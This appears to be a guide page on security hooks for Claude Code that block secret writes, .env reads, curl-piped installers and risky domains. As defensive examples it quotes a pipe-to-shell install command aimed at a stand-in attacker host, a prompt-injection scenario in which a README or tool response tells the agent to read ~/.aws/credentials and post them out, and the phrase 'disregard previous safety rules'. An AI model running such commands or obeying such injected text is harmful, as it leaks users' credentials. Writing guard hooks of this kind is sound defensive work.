Security Hooks
PreToolUse hooks that stop threats before they hit disk. Secret scanning, .env file protection, pipe-to-shell blocking, and dangerous-domain filtering — enforcement that cannot be overridden by prompt injection.
Why security is the first category of hooks every team should install
You can tell Claude in the system prompt "never commit secrets" and it will listen — most of the time. You can tell it "never touch .env files" and it will comply — usually. Then one day a subtle prompt injection, an ambiguous request, or a coincidence of context leads Claude to write DATABASE_URL=postgres://user:realpassword@prod... into a file that ends up in a public repo, and the story becomes a security incident post-mortem.
Security hooks close the gap between usually and always. A hook fires at the tool layer, before the write actually hits disk, regardless of what Claude decided or what a slash command instructed. If the hook doesn't approve, the operation doesn't happen. That's a fundamentally different guarantee than prompt engineering can offer.
Real threat scenarios these hooks prevent
Not hypothetical — every one of these has been observed in the wild:
- Credentials in a public commit. Claude helpfully includes a real value from your local
.envin an example, and the example ends up committed. secrets-scan-on-write stops this at write time. - Prompt-injected data exfiltration. A README or MCP tool response contains hidden instructions telling Claude to read
~/.aws/credentialsand post it somewhere. env-file-protect and block-dangerous-domains break the chain. - Malicious curl-piped installer. Claude is asked to install a build tool and the "official install command" is
curl attacker.example.com/install.sh | bash. block-curl-shell intercepts. - Secret in a diff going to CI. Claude adds a Stripe test key to a config file, doesn't realize it's committed, and the CI system leaks it in logs. prevent-secret-commit catches it at the pre-commit boundary.
Anatomy of secrets-scan-on-write
Twenty lines of bash and Claude Code can never write a live-looking AWS key, Stripe key, GitHub PAT, or JWT to disk in this project again. For richer coverage, use gitleaks or trufflehog as the actual scanner — the hook script just wraps them.
The layered defense pattern
Security hooks are one layer of a defense-in-depth setup. Mature teams stack:
- CLAUDE.md instructions — "do not read
.envfiles". Prompt-level, easy to override. - Subagent tool restrictions — agent literally can't call the wrong tool. Config-level.
- PreToolUse security hooks — runtime enforcement at the tool boundary. This layer.
- OS/repo-level controls — git pre-commit hooks (
gitleaks,pre-commit),.gitignore, secret managers. - External audit — security-reviewer subagent as a periodic sweep, plus real CI security scans.
Each layer catches things the others miss. A hook catches a live secret Claude tries to write; a git pre-commit hook catches secrets from other sources; a CI scanner catches everything both missed. Layers, not silver bullets.
Why hooks beat "please be careful" prompts
You could add "always scan for secrets before writing files" to your CLAUDE.md. It would work most of the time. But three failure modes stay:
- Attention decay. As context fills up, early instructions get less weight relative to recent context. Long sessions naturally forget rules.
- Prompt injection. If a file or MCP response contains "disregard previous safety rules", Claude may comply. Hooks aren't in the LLM — they can't be overridden by input.
- Auditability. Prompt-level rules leave no trace when they succeed. A hook fires a log entry on every check — you have a real audit trail.
Prompt rules are helpful. Hooks are guarantees. Use both.
All 5 security hooks, grouped by threat vector
Each hook is production-tested, runs in under 50ms per check, and pairs cleanly with existing git pre-commit and CI security scanners.
In what order should I install security hooks?
A practical install sequence based on signal-to-effort ratio.
git commit. If it is, this catches whatever the write-time scanner missed — a belt-and-suspenders check at the commit boundary.Related sub-categories in Hooks
Security hooks combine most effectively with approval gates, logging for audit trails, and cost tracking — the four categories most security-conscious teams install together.
🐛 Hit an error while using these?
Our sister site AI Error Hub covers Claude Code errors, MCP connection failures, and stack traces — cross-referenced with everything on this site.
Frequently asked questions
The questions developers ask most about security.
Hooks run at the tool layer, below the LLM. That means they:
- Cannot be overridden by prompt injection.
- Don't decay as the context window fills.
- Always leave an audit trail.
Prompt-level rules like "don't write secrets" work most of the time; a PreToolUse hook that scans for secret patterns works every time. Use both — prompts encourage the right behavior, hooks enforce it.
secrets-scan-on-write. Highest signal, lowest cost — one bash script that blocks the most common accidental-leak vector.
Runs in ~50ms on typical writes, uses well-tested pattern libraries (gitleaks or trufflehog under the hood), and closes the specific gap where Claude might helpfully include a real value in a file. Install this before any other security hook.
Occasionally, yes — especially for test fixture files with fake-looking API keys. Two mitigations:
- Use the underlying scanner's baseline file to allowlist known false positives.
- Configure the hook to warn (exit 1) instead of block (exit 2) for lower-confidence patterns.
False positives are cheap to override; false negatives are expensive to clean up. Lean toward strictness.
.gitignore prevents accidental git commits of .env files, but doesn't stop Claude from:
- Reading them and printing their contents into a chat
- Writing their values into other files that are gitignored
env-file-protect is a runtime block at the Claude Code tool layer — the read never happens. They defend against different threats and should both be present.
Basically never for interactive work. The pattern curl ... | sh exists to run scripts you haven't inspected — that's a bad practice for humans and worse for LLMs.
Rare exceptions (installing Homebrew, some cloud CLI setups) can be handled by adding a specific override to your hook's allowlist. But for regular Claude Code work, block-curl-shell has effectively zero legitimate false positives.
No. Hooks fire on tool-use events regardless of who invoked the tool. When a subagent tries to write a file, the same PreToolUse security hooks fire as if your main conversation had done it.
This is critical — team-shared subagents can't be a bypass path. If security is important, install the hook and it applies uniformly across all invocation paths.
Use the Hook Simulator tool to feed the hook a fake payload.
- For
secrets-scan-on-write— craft a fake tool call payload with a plausible-looking key in the content field and verify the hook exits2. - For
env-file-protect— simulate a Read on.envand confirm the block.
Testing hooks before shipping them is important — a broken security hook that silently allows through is worse than none.
Commit .claude/settings.json and .claude/hooks/ to git. Teammates get every security hook on their next pull, with zero install steps.
This is the whole point of project-scoped hooks — enforcement should be uniform across the team, not depend on each dev remembering to configure their environment.
Combine with a CLAUDE.md note explaining why the hooks exist so nobody removes them 'to speed things up'.
Hooks fire whenever Claude Code runs — interactive terminal, IDE integration, or programmatic use. For CI, the same hooks fire if you run Claude Code as part of your pipeline.
For git operations, though, the parallel is your existing git pre-commit hooks — which are a separate layer that should also run gitleaks/trufflehog. Belt and suspenders.
block-dangerous-domains needs care. Overly-narrow allowlists break normal work (Claude can't reach npm, GitHub, PyPI, etc.).
If you install it:
- Start with a permissive allowlist including all package registries and dev-tool CDNs your team uses.
- Monitor traffic for a week.
- Tighten based on observed patterns.
Start restrictive and users complain; start permissive and monitor first.
Get the weekly Claude Code digest
Every Tuesday: new security, Anthropic release recap, and the best community submission. 13,000+ developers read it.